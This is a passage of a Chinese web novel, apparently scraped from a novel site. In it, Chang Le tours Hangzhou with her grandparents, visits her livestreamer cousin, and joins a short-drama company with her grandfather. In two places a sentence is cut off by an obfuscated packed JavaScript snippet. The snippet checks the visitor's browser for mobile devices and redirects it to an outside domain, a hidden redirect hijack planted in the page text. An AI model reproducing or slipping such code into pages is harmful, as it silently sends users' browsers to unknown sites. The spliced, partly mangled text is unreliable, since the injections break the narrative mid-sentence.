第二天一早,睡得不省人事的常乐被一只手暴力摇醒,姥姥在她耳边催促道:“这都几点了,还睡?酒店不是提供免费早饭吗?再晚就没了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15967417|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 常乐昨晚折腾到一点多才睡,现在头昏脑涨,眼睛都睁不开。她嘟囔道:“你去吃吧,给我带点就行。” “出来玩还这么懒!”姥姥骂了一句,带上门离开了。 常乐重新入睡,没一会儿又被姥姥摇醒。 “带回来了,赶紧趁热吃!” 常乐哀叹一声,挣扎着坐起身,顶着两只大黑眼圈,啃着寡淡无味的白馒头。 按照常乐的计划,今天上午的行程是游西湖,结果四个人中有三个人都无精打采、面如菜色,走路慢得像僵尸。 姥姥化身湘西赶尸人,在后面一边驱赶一边叫骂:“一个个蔫头耷脑的,跟死人一样!你们昨晚干什么去了?斗了一夜的地主啊?” 三个特困生对视一眼,都心照不宣地闭上嘴,乖乖挨骂。 常乐不告诉姥姥实情,是为了这趟旅行能顺利完成。她打算等回去后,再揭发姥爷离家出走的恶行。 一行人心不在焉地逛了几个景点后,在苏堤码头登上了一艘摇橹船。 小船随着碧波悠悠荡荡,阳光也在脸上摇摇晃晃,三个人都睡着了,只剩下姥姥还清醒着。 她一脸无语地看着几个人,拿出手机拍了几张照片,给这次期待已久的西湖之行,留下了珍贵的影像资料。 -- 中午,几个人吃了顿便饭,饭后,以三比一的投票结果,决定回酒店睡午觉。 常乐却不能睡。她昨天跟常悦约好了,今天中午去找她,把常建民买的食材送过去。 常悦在微信上发来地址,常乐定睛一看,怀疑自己还没睡醒。 是巧合太多,还是杭城太小?常悦居然也住在那栋丽文公寓里。 常乐提着鸡蛋和土鸡,再一次打车过去,轻车熟路地穿过大堂,走进电梯,很快找到常悦的住所。 门开了,常悦穿着宽松的居家服,头发用抓夹松散地夹在脑后,一脸困倦地说:“来了?进来坐会儿吧。家里有点乱,你别介意。” 常乐换上拖鞋,小心翼翼地走进去。 这哪叫有点乱啊?简直是一间无人管理的仓库。衣服扔得到处都是,餐桌上堆满了外卖盒和啤酒罐。空气中弥漫着一股怪味儿,从窗帘后面蹿出两只大肥猫,常乐才明白这是什么味道。 常悦抱起沙发上的衣服,堆到椅子上,对常乐说:“随便坐。” 常乐拘谨地坐下,双腿并拢,努力缩小屁股的占地面积。 “大伯大妈不在家吗?” “他们在服装厂上班,离得远,住员工宿舍。”常悦拧开一瓶气泡水,递给常乐,“他们一个月休息四天,会过来陪我。” 离得近了,常乐这才注意到她的脸上毫无血色,倒是眼里布满了红血丝。 她关切地问:“常悦,你是不是睡得太晚了?” 常悦不在意地说:“四点睡,十二点起,都习惯了。” “你这……对身体不好吧?” “没办法啊,我下午六点开播,一直播到凌晨两点,播完后还得开会复盘,回到家已经是三点多了。”常悦无奈地叹了口气,“干我们这行的,没办法。” 提起直播,常乐忽然想起杨三金。既然他们是同行,又在同一栋楼,没准儿能打听到一些内部消息。 “有个抖音网红叫杨三金,你听说过吗?” 常悦“嗯”了一声,两条大长腿架在沙发扶手上,“他在我们圈里也就是个小虾米,算不上什么大咖,不过,比我这个小透明还是强多了。怎么了?你是他粉丝啊?” 常乐迟疑片刻,如实道:“我姥爷跟他连线过,他想找我姥爷来演短剧。” 常悦弯唇一笑,“不错啊。我之前也推荐我爸去演,不过他在镜头前很不自然,而且长相没什么记忆点,所以最后没成。你姥爷要是会演戏,可以去试试啊。” 常乐还是不放心:“你觉得这事儿靠谱吗?” “靠谱啊。”常悦放下双腿,斜靠在沙发上,懒洋洋地说,“杨三金跟他朋友开了一家公司,孵化了十几个网红,他也是其中之一。拍搞笑短剧是个热门赛道,如果运气好,有一条视频能出圈,就能赚得盆满钵满。到时候,老板吃肉,你们也能跟着喝汤。” 常乐啜饮着气泡水,陷入了沉思。 说不心动是假的。但是,姥爷真的适合干这行吗? 65. 65 话题聊开后,常悦一边对着镜子化妆,一边告诉常乐她在这个行业打拼多年,悟出来的道理—— “杭城遍地是美女帅哥,长得好看是最不值一提的。想要混出头,你得有自己的特色。比如跟我一起入行的一个小姐妹,各方面条件都挺一般的,但她长相偏成熟,后来剪了个微商头,去做了中老年服装模特,什么羊毛衫、羽绒背心、丝巾,订单多到接不完。” 常悦刷好睫毛,瞥着镜子里的常乐,说:“她不仅赚到了钱,还嫁给了一个开羊毛衫厂的老板,成功上岸。这种运气,旁人根本羡慕不来。” 常乐哑然失笑:“你管这叫上岸啊?” “不然呢?总不能干一辈子带货主播吧?能转型当网红的少之又少,还不如趁早找个有钱人嫁了。” 常悦给自己抹了一层口红,抿了抿唇,微微叹气,“实在不行,只能找个大厂码农嫁了。” 常乐:???码农怎么你了? 她辩解道:“我觉得码农挺好的啊!尤其是大厂的,年薪五十万起步呢!” 常乐不由得想起周俊臻,本来还想把他介绍给常悦呢,没想到,人家压根瞧不上。 “得了吧。”常悦不屑地摇摇头,“年薪到手只有三分之二,房子车子都是贷款买的,一过三十五就面临被裁的风险。我可不想到时候两个人都失业在家,对着房贷车贷和一堆账单抱头痛哭。” 常乐一时哑然。 沉默了一阵,常悦主动问道:“对了,你姥爷有什么记忆点吗?” 也许是当局者迷,常乐想了好半天,才找出一个特点:“他特别犟!” “我是说外形上,有没有能让人一眼记住的点。” 常乐认真想了想,“长得像苏大强算不算?” “算。”常悦笑了,“难怪人家会主动找他呢,你可以让他试试呀,没准儿就闯出名堂来了呢。” 常乐刚想再问几句,梳妆台上的手机忽然响了。常悦拿起一看,脸色微变。 “烦死了,老板又在群里发火了。”她一边往脸上喷定妆喷雾,一边抱怨,“他说昨天的转化率不好,这能怪我吗?就公司那种选品和定价,根本没有吸引力,就算有人冲动下单,也会在24个小时内退货。天天给我们施压有什么用?” 常乐也不知该怎么安慰她,毕竟自己对这个行业一知半解,说什么都像是不痛不痒的废话。 她们一起出了门,常悦说她的公司就在公寓后面,走路过去就到了。 两人在楼下分开。常乐凝视着她的背影,收腰窄裙包裹着窈窕的身材,微风轻拂起栗色的长卷发,高跟鞋踩在地上,发出“哒哒”的响声,隔很远都能听见。 常乐不由得感慨,这不就是她最向往的都市丽人的形象吗? 可是,为什么她也活得这么辛苦呢? -- 下午,常乐带姥姥姥爷去了灵隐寺,在寺里逛了一圈、磕了无数个头、又给佛祖扫了十块钱的香火钱后,几个人走出寺庙,在门外的石凳上休息。 常乐昨晚折腾到半夜才睡,中午也没有补觉,现在是又累又困。她闭上眼准备小憩,姥姥姥爷却提出,想去爬寺庙后面的山。 常乐看了一眼那道长长的石阶,不由得叹了口气。 “我带他们上去吧。”易诚脱下外套,交给常乐,“你就在这儿休息。” 姥姥姥爷见她哈欠连天,也没强求,冲她摆摆手,就往石阶走去。 常乐靠着石头栅栏,双目微闭。身后溪水潺潺,头顶浓荫蔽日,不一会儿就浑身发冷。 幸好有易诚留下的外套。常乐犹豫片刻,还是选择穿上。 她闭上眼,心想,易诚的外套没有什么味道,就像他这个人,淡淡的,没什么存在感。但是在她需要的时候,他总能及时出手,让人倍感安心。 困意一波波袭来,周围的水声、人声、远处的钟声,都渐渐模糊…… 不知睡了多久,再度睁开眼时,青石板上已洒落满地的余晖。 常乐转头一看,姥姥和姥爷正坐在石凳上,慢悠悠地喝水。花坛边,易诚正蹲在地上,用树枝逗一只肥嘟嘟的橘白猫。 夜里,他们打车来到之江路,趴在玻璃围栏上,欣赏钱塘江的美丽夜景。 两岸高楼大厦林立,璀璨的灯光秀如梦似幻,常乐吹着微凉的江风,心头忽然冒出一个想法:每年有那么多外地人来杭城工作、定居、开启新的生活,姥爷为什么不能是其中一个呢? 自己为什么不能是其中一个呢? 趁着易诚给姥姥拍照之际,常乐悄悄挪到姥爷身边,问他:“姥爷,你为什么想当网红呢?” 姥爷眺望着江对岸,几缕银发在风中飘动,灯光将他脸上的沟壑映得更加深刻。 他想了想,说:“这种感觉很好。” 常乐不明所以:“啥感觉啊?当明星的感觉?” 姥爷笑了,“你还记得我试穿寿衣的那条视频吗?那是我第一次被那么多网友看到。有人在好奇,有的在调侃,还有人在关心我,问我是不是生病了。” 常乐知道,老年人都渴望陪伴和关怀,但姥爷身边总是热热闹闹的。他也会觉得孤独吗? 她嘟哝道:“你身边也不缺关心你的人啊。” “我不是这个意思。”姥爷捋了捋稀疏的头发,微微叹气,“我当了三十多年老师,早就习惯了一走上讲台,所有人的目光都落在我身上那种感觉。退休后,我一下子从众人瞩目的焦点,变成了无人问津的……普普通通的小老头。这种落差感,我花了好几年才慢慢适应。” 常乐怔怔地望着他,没有再开口。 姥爷继续说:“拍短视频让我找回了那种感觉,不管落在我身上的目光是好奇的、不屑的、看笑话的,还是关心的,都让我觉得,我被人看到了。 “再后来,杨三金联系到我,说想邀请我去拍网络短剧,我觉得他本身有流量,又背靠公司,肯定能被更多人看到。所以我就想抓住这次机会。” “可是……”常乐沉吟许久,终于开口,“被更多人看到,也就意味着会听到更多的声音。网上什么人都有,有人心理变态,有人借机发泄,有人看什么都不顺眼,你根本无法想象他们会说出什么话、干出什么事……姥爷,我怕你承受不了。” 姥爷哈哈大笑起来,“我活了大半辈子,什么地痞流氓没见过?放心吧,我根本不在乎。” 常乐望向对岸,灯光在她的瞳仁里闪烁不定。 她想,如果姥爷真的不在乎,那为什么渴望被更多人看到呢? 人心不仅险恶,还易变。那些落在他身上的目光,也许上一秒还温柔如水,下一秒就化作一根根利刺。他真的能承受得了吗? 最后,常乐说:“姥爷,明天晚上,我陪你再去一趟公司,跟老板谈一下合作的细节。如果这份工作靠谱,你又真的想干……”她沉思片刻,终于下定决心,“姥姥那边,我来搞定。” -- 周三的行程是是西溪湿地一日游,常乐和姥爷游玩的时候都有些心不在焉。 姥姥浑然不觉,还在积极地拍照发朋友圈,拍视频发抖音,再在亲戚群里用一大波美照刷屏。 易诚倒是看出来了。他趁着姥爷给姥姥拍照时,小声问常乐:“你怎么了?昨晚没休息好?” 常乐摇摇头,决定如实相告:“我打算晚上带姥爷去那家公司面谈。” 易诚惊诧地挑起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15971990|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眉,但碍于姥姥在场,他不好多问。 “要我陪你们去吗?” “不用。”常乐说完,想了想,又改变主意,“也行吧,你可以帮我检查合同。” “姥爷真的要接那份工作?” 常乐盯着姥爷的背影,无奈地说:“人上了年纪,就特别固执,跟小孩一样,真的挺气人的。”她叹了口气,“但我又一想,他都这么大岁数了,还能活几年呢?想干什么就干什么吧。” 晚上回到酒店,姥姥照例早早地洗漱、上床睡觉。常乐磨磨蹭蹭地洗了个脸,一直等到床上响起均匀的鼾声时,她才蹑手蹑脚地走到床头,拿走姥爷的手机,又从姥姥的手提包里翻出姥爷的证件,悄悄溜了出去。 易诚和姥爷早已准备就绪,在门外等候着。 三个人交换了个眼神,一句话没说,大步朝电梯走去。 半个小时后,常乐又走进了那间百平米的办公室,每台电脑前都一个安静而忙碌的背影,loft的二楼传出隐隐的对话声。 “老板的办公室在上面。”姥爷径直走上楼梯,俨然已经把自己当成了这里的一员。 走到一扇磨砂玻璃门前,常乐敲敲门,屏息聆听,很快就听到一道年轻的男声:“进来。” 常乐推门而入。办公室不大,一张升降办公桌,一张电竞椅,靠窗摆放着待客用的沙发。两个小伙子正坐在沙发上吃外卖。 空气中弥漫着一股孜然味,常乐估计他们吃的是烧烤。 其中一个小伙子皮肤白皙,眉眼精致,常乐一下子就认出,他就是那个杨三金。 另一个约莫二十来岁,长着肉乎乎的圆脸,看上去比较忠厚老实。 姥爷主动迎上去,称呼他为“刘老板”。 刘老板站起身,跟他握了握手,问道:“林老师,您怎么过来了?这两位是——”他的目光落在常乐和易诚身上。 姥爷介绍道:“这是我外孙女和她朋友。他们特地送我过来,顺便来看一眼我的工作环境。” “外孙女?”杨三金抬起眼,上下打量着常乐,脸上浮起意味不明的笑,“哦,你就是那个葫芦娃?” 刘老板不明所以地看着他。 他解释道:“就是昨天大闹我直播间、让我放了她姥爷的那个。” 刘老板“哦”了一声,也笑了。 “不好意思啊,我昨天一时心急,语气有点重……”常乐尴尬地解释。 杨三金大度地说:“没事儿,昨天只是日常直播,没有带货,所以也不算影响工作。”他收拾好茶几上的外卖袋,起身腾出位置,“别干站着了,坐吧。” 三个人并排而坐,姿势略显拘谨。 “刘老板,”姥爷主动开口道,“您昨天跟我介绍的工作内容,能不能再跟我外孙女讲一遍?她是年轻人,理解能力比我强。” “可以啊。”刘老板从身后的文件柜里拿出一份合同,放在常乐面前,“简单来说,就是我们公司旗下有几个账号,以拍搞笑短剧为主。最近在连载的一个系列,需要增加一个财阀世家老爷的角色。我们看过你姥爷的视频,觉得他形象气质都挺符合的,而且也有搞笑天赋,对吧?” 他转头看向杨三金,杨三金点点头,接话道:“我看过你姥爷的视频,有种黑色幽默,挺特别的,尤其是那个骨灰盒的广告,拍得一本正经的,但是莫名好笑。” 姥爷连忙说:“这是我外孙女拍的,从构思到台词到拍摄到剪辑,全是她一个人完成的。” 常乐低头笑了笑,谦虚地说:“我也是边干边学,不会的就上网查。” “是吗?”刘老板打量着她,眼睛倏地亮了,“那你很适合我们公司啊!你有兴趣加入吗?” 66. 66 出租车上,凉风习习,吹得常乐神清气爽。 易诚一直注视着她,终于忍不住开口:“你真的要去这家公司啊?” 常乐回过头,鬓边的发丝在夜风中飞舞。 她粲然一笑,说:“为什么不去?大城市机会就是多,不出来走走,你永远不知道世界有多大,人生可以有多少种选择。” 易诚一时无言。 这就上升到人生哲理的高度了?这刘老板是给她灌了鸡汤还是打了鸡血? “而且,”常乐继续说服他,“我还可以照顾姥爷啊。不然,把他一个人留这儿,我实在不放心。” 坐在前排的姥爷插嘴道:“我觉得这个刘老板是个爽快人,也挺厚道,乐乐跟他干,应该不会吃亏。” 易诚还是不放心:“我觉得这家公司也太压榨员工了,从下午三点上到凌晨三点,你能受得了吗?” “这个行业就是这样啊,我中午去看我表姐,她也是凌晨三点才下班。” “可是——” 易诚还要再说什么,被常乐打断了:“没关系,我还年轻呢,把作息调整一下就好了。” 看着她信心满满、斗志昂扬的样子,易诚也不好再泼冷水。他只得叹了口气,不再多言。 回到酒店,姥姥还没醒,常乐轻手轻脚地洗漱完,躺在床上,兴奋得直到凌晨才合眼。 -- 第二天,几个人收拾好行李,打车去了一条古色古香的步行街,走马观花地逛了一圈。 姥姥挑得眼睛都花了,最后花费一百二十元巨款,给她的几个老闺蜜和林文娟各买了一条丝巾。 至此,这趟杭城之旅终于圆满结束。 在高铁站门口,常乐才支支吾吾地开口:“姥姥,我那个……在这里找到工作了,跟姥爷在同一家公司……你跟易诚先回去吧。” “咣——” 姥姥手中的保温杯砸了下来,常乐脑瓜子顿时嗡嗡的,疼得龇牙咧嘴。 “我说你们这几天鬼鬼祟祟的在干嘛,原来是背着我干坏事啊!” 姥姥再次举起砸瘪了的保温杯,易诚急忙上前挡住她的胳膊,劝道:“姥姥,常乐找到工作了是好事啊,你难道想看她在家里蹲一辈子啊?” 姥姥噎了一下,保温杯慢慢放了下来。 她说:“年轻人的事我不管,老头子都一把年纪了,还跟着瞎胡闹,这不作死嘛?”她指着姥爷,“你,跟我回去。”又指着常乐,“你,随便。” 常乐同情地望着姥爷。 姥爷争辩道:“我也是有自己的追求的,我也不想家里蹲一辈子!” “不管你想不想,你已经蹲了大半辈子了,还差这最后几十年?”姥姥不屑地驳回。 姥爷没办法,只得用眼神给常乐发送求助信号。 常乐揉着脑袋,一脸为难地说:“姥姥,公司那边是看在姥爷的面子上才要我的,要是姥爷不去,那我也去不成了。”她抓着姥姥的胳膊,撒娇地晃了晃,“姥姥,为了这份来之不易的工作,你就让姥爷跟我一起去吧。我保证会照顾好他的!” 姥姥狐疑地挑起眉,“还有这种事?我就没听说过哪家公司要爷孙俩一起入职的。” “是真的!”常乐信誓旦旦地说,又拼命冲易诚使眼色,“易诚也在场,那个刘老板就是这么说的,对不对?” 易诚低头挠了挠鼻尖,“呃……是啊。” 姥姥仍半信半疑,紧绷着唇,半晌没有表态。 “姥姥,你们赶紧进去吧。”常乐催促道,“你看,门口排队的人这么多,还剩半小时,再不抓紧点,车票钱就要浪费了!” 姥姥这才想起车票的事:“那你们的呢?” “放心吧,昨天晚上就退了!” “咣——” 又是一记保温杯突袭。 “好哇,现在学会先斩后奏了。”姥姥指着常乐和姥爷,骂骂咧咧,“你们爷孙俩一个比一个不省心!等我回去,跟你妈告状,让她不给你报销!” 姥姥脑袋一甩,头也不回地走进了检票口。易诚急忙提起大包小包跟在她身后,进闸机后,还不忘回头安慰常乐:“放心吧,我会照顾好姥姥的。” 常乐冲他摆摆手,“麻烦你了。” “你……”易诚沉默片刻,转头看到姥姥已经过了安检口,他抓紧把剩下的话说完:“过得不开心就回来,别委屈了自己。” “不会的。”常乐信心满满地说,“我会努力的!” 易诚直视着她的眼睛,认真地说:“不是努力,是开心。不过……”他笑了下,“如果努力能让你收获开心,那也不错。” -- 送走姥姥和易诚后,常乐和姥爷提着行李坐上出租车,各自望着窗外伤感了一会儿。 姥爷唏嘘道:“年轻的时候总羡慕那些出去打工的人,总觉得外面的世界很自由,又能赚大钱,但我自己又舍不得铁饭碗,不敢迈出这一步。现在好了,那些打工的人陆陆续续都回老家了,我却出来闯荡了。” “时代不同了,姥爷。”常乐安慰他,“那时候去打工的人,大部分都是靠体力赚钱。你就不一样了,你靠的是——” 她盯着姥爷那颗鸵鸟蛋似的脑袋,认真说:“颜值。” 说完自己都忍不住笑了。 下午,常乐和姥爷又去了一趟明鑫传媒文化,常乐从手机文件夹里导出自己的简历,打印出来,交给了人事部。 面试她的HR是个长相靓丽的年轻女孩,叫萱萱,说话时总是笑眯眯的,让人心生好感。 萱萱说,刘总已经跟她交代过了,这次面试只是走个过场,让常乐不必太紧张。接着,她就问了几个常规问题,例如学历、技能、工作经历等,常乐都对答如流。 不过,她似乎对常乐gap的这半年格外在意。 “你就在家待着吗?没有尝试去找工作?” 常乐解释道:“我在家还是挺忙的,每天要开车接送我妈,照顾老人,帮姥爷拍视频、剪视频什么的,有时候还要陪我爸……” 她越说越底气不足。都是一些日常的琐碎事,放在职场中简直不值一提。 “你别介意,我只是好奇,想多了解一下。”萱萱笑着说,“从你的描述来看,你有一个很温暖的家庭,你对家人也很依恋。我有些担心,如果你在职场上碰到挫折,会不会撂挑子不干,直接辞职回家?” 常乐立马挺直腰杆,一脸坚定,就差对天发誓了:“肯定不会!我会好好珍惜这次的机会,努力工作,向家人证明自己能行!” 萱萱扑哧一笑,“不用这么严肃,我只是随口一说。毕竟,在外面受了委屈想回家,这是人之常情嘛。” 常乐怕说多错多,只能笑着点点头。 面试得差不多了,萱萱向常乐介绍了公司的基本情况:刘老板名叫刘子明,杨三金名叫杨鑫然,两人是大学同学,大一就开始拍短视频了。渐渐地,杨三金有了一些名气,毕业后,两人合伙开了这家公司。公司成立到现在也才五年,但已经有了四十多名员工,同时经营着十几个账号,其中最火的账号是“小美萱”,全网已经有五百多万粉丝了。 萱萱指了指自己,表情有些得意,“就是我。” “哦,失敬失敬。”常乐赶忙说。 不过,既然她已经是个大网红了,为什么还要负责人事的工作呢? 常乐转念一想,这种小公司的管理本来就比较松散,人事任命也很随意,没什么奇怪的。 公司介绍得差不多了,按照惯例,轮到求职者询问最关心的问题了:“请问,我这个职位薪资待遇怎么样呢?” 萱萱不紧不慢地说:“薪资采用底薪加绩效的模式,底薪是四千,绩效上不封顶。我们公司的老员工,一般到手都有一万多。” “不过——”不等常乐继续发问,她又开口,“试用期是三个月,试用期内只拿底薪。” 常乐想了想,倒也能接受,便继续问:“那五险一金呢?” “转正之后,正常缴纳五险一金。” 换言之,试用期不交。 常乐心中不免失望。 萱萱似乎看出来了,补充道:“杭城的公司都是这样的。” 常乐勉强笑了下,心里嘀咕道,看来这杭城的就业环境跟江城没什么区别嘛。 他娘的,这些小破公司交个五险一金跟施舍一样。 至于双休—— 让常乐感到意外的是,萱萱居然主动提起:“我们公司实行双休,周一周二休息,这个可以接受吧?” 常乐脸上顿时阴转晴,“可以可以。” 有双休就已经很好了,周一周二休息也不错,正好可以避开周末的人流高峰。 “还有个问题,”既然 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待萱萱带她上楼看过员工宿舍后,常乐的大喜又变成了……中悲。 这是一间不足三十平米的的公寓,靠墙摆放着四张上下铺,中间摆着一张长条桌,上面堆满了化妆品、女包、水壶等各种杂物,靠门处有一排衣柜,分为上下八格。 这一瞬间,常乐感觉像走进了年代剧里的大学宿舍。 萱萱介绍道:“这里还剩两个空床位,你自己挑一个吧。虽然条件差了点,但是你可以把它当一个过渡,等转正了再去找合适的房子。” 常乐“嗯”了一声,走到离得最近的一个床铺前,将自己的行李放在了上铺。 “对了,我姥爷呢?” 常乐忽然想到,如果老人也住在这样的集体宿舍,每天爬上爬下,跟另外七个室友抢洗手间、抢衣柜、抢插头,那也太痛苦了吧。 “你放心,刘总那边会安排的。”萱萱说,“他是演员嘛,跟普通员工不一样,住宿条件肯定要好一些。” 常乐这才放心下来。 萱萱交代完注意事项就回了公司,留下常乐一个人,对着乱糟糟的员工宿舍,心情一塌糊涂。 她安慰自己,没事儿,就当回到了大学宿舍,等转正了就搬出去嘛。 她给姥爷打电话,果不其然,姥爷说这边已经安排好了住宿,晚上刘老板还要请他们几个演员吃饭,并问要不要给常乐打包一份。 常乐连忙拒绝。挂断电话后,她去楼下转悠了一圈,走了好远才找到一家汤面馆,点了碗馄饨,吃完后又找了家小超市,买了脸盆、杯子和洗漱用品,恍惚中真的有种回到大学第一天的感觉。 不同的是,那一天,爸爸妈妈陪在她身边,忙前忙后办理入住登记,买生活用品,收拾床铺和宿舍,还给其它舍友买了好多水果和零食。 常乐鼻头蓦地一酸。 恰在此时,手机响了,林文娟打来视频电话。 常乐在路边找了个花坛坐下,吸了吸鼻子,调整好脸部肌肉,这才摁下接听键。 出乎意料的是,林文娟一开口并没有骂她,而是平静地说:“易诚已经把你姥姥送到家了,他跟我说了你的事。”她叹了口气,“你这孩子总是这样,做事冲动,不计后果。之前还哭哭啼啼地说不想当驴了,现在呢,怎么又想拉磨了?” 常乐面色微窘,说:“妈,那些都是我一时情绪上头说的气话,我觉得,人还是应该有个正经工作,不然总觉得心里不踏实。” 林文娟追问:“为什么会不踏实呢?” “……”常乐一时哑然。 她也说不上来,但是从小到大,社会给她灌输的就是这一套思路,这一种活法,其他的都是离经叛道。 林文娟慢悠悠地说:“其实,当时我主动提出让你当全职女儿,是你爸说服了我。他说,在气候恶劣的时候,大树为小树遮风挡雨,是天经地义的。就像现在大环境不好,你找不到合适的工作,回到家里,接受家人的帮助,也是天经地义的。你不用觉得不安或内疚。” 常乐情绪一时不受控,眼泪涌了上来。 “妈,可是我不能一辈子躲在你们的庇护之下啊。”她低下头,吸了吸鼻子,“我想出来看看。也许,外面根本没有下雨呢?” 67. 67 常乐睡到半夜,被一阵翻动声吵醒。灯光刺目,她迷迷糊糊地坐起身,挠了挠蓬乱的鸡窝头,跟坐在桌边正在卸妆的女生打招呼:“你好。” 女生吓得倒吸一口冷气,猛地转过身,差点从椅子上摔下去。 “不好意思啊。”常乐连忙道歉,“我叫常乐,是新来的,萱萱说有员工宿舍,所以我就住进来了。” 女生松了口气,重新戴上眼镜,看清了她的脸,然后摘下,转身对着镜子继续卸妆。 “我姓叶,你叫我小叶就行。”她一边撕假睫毛一边问,“我是编导助理,你呢?” 常乐笑了起来,“我也是。” 小叶“哦”了一声,又问:“你怎么这么早就睡了啊?” “早吗?”常乐看了眼手机,已经凌晨一点了,“你平时都是几点睡啊?” “三、四点吧,得迁就她们的时间。”小叶看向周围的几张空床铺,“你睡那么早也没用,等她们回来了,还是会被吵醒。” 常乐好奇地问:“萱萱不是说,可以自由选择上班时间吗?为什么你们都要上到那么晚?” “因为活儿干不完啊。”小叶叹了口气,肩膀塌了下来,“等你开始上班就懂了。” 小叶卸完妆就进了洗手间,过了好久才出来,又是吹头发又是敷面膜,一直折腾到两点多。 常乐被她吵醒,一时睡不着,只好躺着玩手机。 好不容易等小叶结束个人清洁工作,房间里又响起了“啪嗒啪嗒”的敲键盘声。 “你不睡吗?”常乐忍不住问。 小叶摇摇头,“还有点工作没做完。” 常乐只好继续玩手机。又过了一个多小时,门外传来一连串脚步声。常乐估摸着是室友们回来了,但她已经没有心情再结识新朋友了。 她放下手机,闭上眼假寐。 不知过了多久,房间里终于安静下来。灯也熄了,常乐终于能安心入眠。 一直睡到上午九点多,她才醒来,脑袋晕沉沉的,肚子饿得直叫唤。 房间里一片寂静,其他人都在沉睡。常乐轻手轻脚地爬下床,洗漱,换衣服,尽量不发出声音,但还是听到有人在床上翻了个身,发出不耐烦的啧声。 常乐赶紧收拾东西出门。 她又去了昨天那家汤面馆,点了碗馄饨,边吃边在微信里翻翻找找,想找个可以吐槽的对象。 易诚? 昨天分别的时候,她还表现得信心满满,今天就跟人家发牢骚,打脸来得太快了吧? 常悦? 她是这个圈子里的人,肯定能理解自己的心情,但……她现在还没睡醒吧? 林文娟? 不行!常乐果断地打消了这个念头。若是心情不好就找父母诉苦,那她什么时候才能独立? 思来想去,纠结再三,常乐最终放下了手机,独自消化这份郁闷。 好在姥爷及时打来电话,说下午就要进棚拍摄了,问常乐要不要来观摩。 常乐立刻答应下来。挂断电话后,她兴奋地吃完馄饨,又跑了两条街,买了杯加满料的奶茶,一边喝一边四处溜达。 饥饿感驱散了,郁闷的心情也一扫而空。 姥爷发来的定位就在丽文公寓后面。这里原本是一片老厂房,后来被改造成了文化创意产业园,里面入驻了大大小小的传媒公司,中间一栋大型厂房也被改造成影视拍摄基地,里面被分隔成无数个小隔间,根据不同的主题,搭建不同的场景。 常乐路过时,好奇地推开门,进去转了一圈,里面有大学宿舍,有医院手术室,有KTV包厢,有八十年代的老房子…… 最多的还是直播间,几盏大灯环绕着一张桌子,前面立着一台屏幕,后面是一排货架。常乐忍不住想象,每个夜晚都有一个不知疲倦的主播,在这样的环境下,声嘶力竭地推销着商品。 终于找到姥爷所在的隔间,门上挂着“拍摄中”的牌子。 常乐小心翼翼地推开门,顿时目瞪口呆。谁能想到,在这扇不起眼的门后面,居然搭建起了一个豪华别墅的内景呢? 八米高的挑空客厅,巴洛克风的旋转楼梯,璀璨的水晶吊灯,华丽的罗马立柱,一看就价值不菲的沙发三件套…… 常乐像刘姥姥进大观园一样,瞪大眼睛四处张望,嘴巴都合不拢了。 她敲敲罗马立柱,空心的,又从书架上抽出一本英文书,原来是硬纸盒。就像这栋高档别墅,只是个华丽的空壳子。 客厅里,不少工作人员正在忙碌着,常乐看到同宿舍的小叶正在跟姥爷说着什么,刘老板站在一旁,双手抱臂,认真地听着。 常乐听了会儿,差不多明白了,这个系列的大致剧情是,男女主一夜那个之后,女主带球跑,几年后回国,还带回了一对龙凤胎,然后跟男主重逢…… 虽然这种狗血剧情在小说界已经被写烂了,但是在短剧届还是非常吃香,深受下沉市场的喜欢。 小叶向姥爷介绍道:“林老师,你的人设就是一个古板、顽固、臭脾气的老头,你千方百计阻止男女主在一起……” “这个我懂!”姥爷大手一挥,信心满满地说,“我当了三十年班主任,拆散了一百二十对小情侣。棒打鸳鸯,没人比我更专业!” 刘老板哈哈大笑起来,交代小叶:“这句台词太棒了,一定要加进去!” 小叶面露难色,“这个……一个豪门老爷当了三十年班主任,逻辑上解释不通吧?” 刘老板“啧”了一声,“短视频要什么逻辑?搞笑就行了,越扯淡观众越喜欢。” “……好吧。”小叶无奈地答应,拿起本子飞快地记录下来。 常乐凑到姥爷耳边,小声嘀咕:“一百二十对,你记得这么清楚啊?” 姥爷笑呵呵地说:“当然了。平均每学期两对,没有我也能硬凑出来。宁可错杀一千,不可放过一对,必须将早恋的苗头扼杀在摇篮里!” “这句也好!”刘老板拍拍巴掌,转头吩咐小叶,“记下来了吗?” 常乐:“……” 一切准备就绪后,编导大声喊:“Action!” 镜头慢慢往前推,只见姥爷穿着一身墨绿色金丝绒睡衣,从旋转楼梯上缓缓走下来,满脸怒容,呵斥道:“我不同意!我绝对不允许这种来路不明的野种出现在我家!” 杨三金扮演的男主解释道:“可是,爷爷,我已经做过亲子鉴定,确认他们就是我的孩子。” 姥爷冷哼一声,“就算是,那也是你跟外面的野女人生的孩子,我是不可能承认的!” 杨三金:“可是自从我去年出车祸后,我就彻底丧失了生育能力。这两个孩子,是我留在这世上唯一的血脉啊!” 常乐:…… 这剧情,比她想象的还要狗血啊。 姥爷轻蔑一笑,说:“你没有生育能力了,我还有。我可以再生一个儿子,让他来延续我们家族的血脉。” 杨三金惊呆了:“可是,您已经八十岁了!” 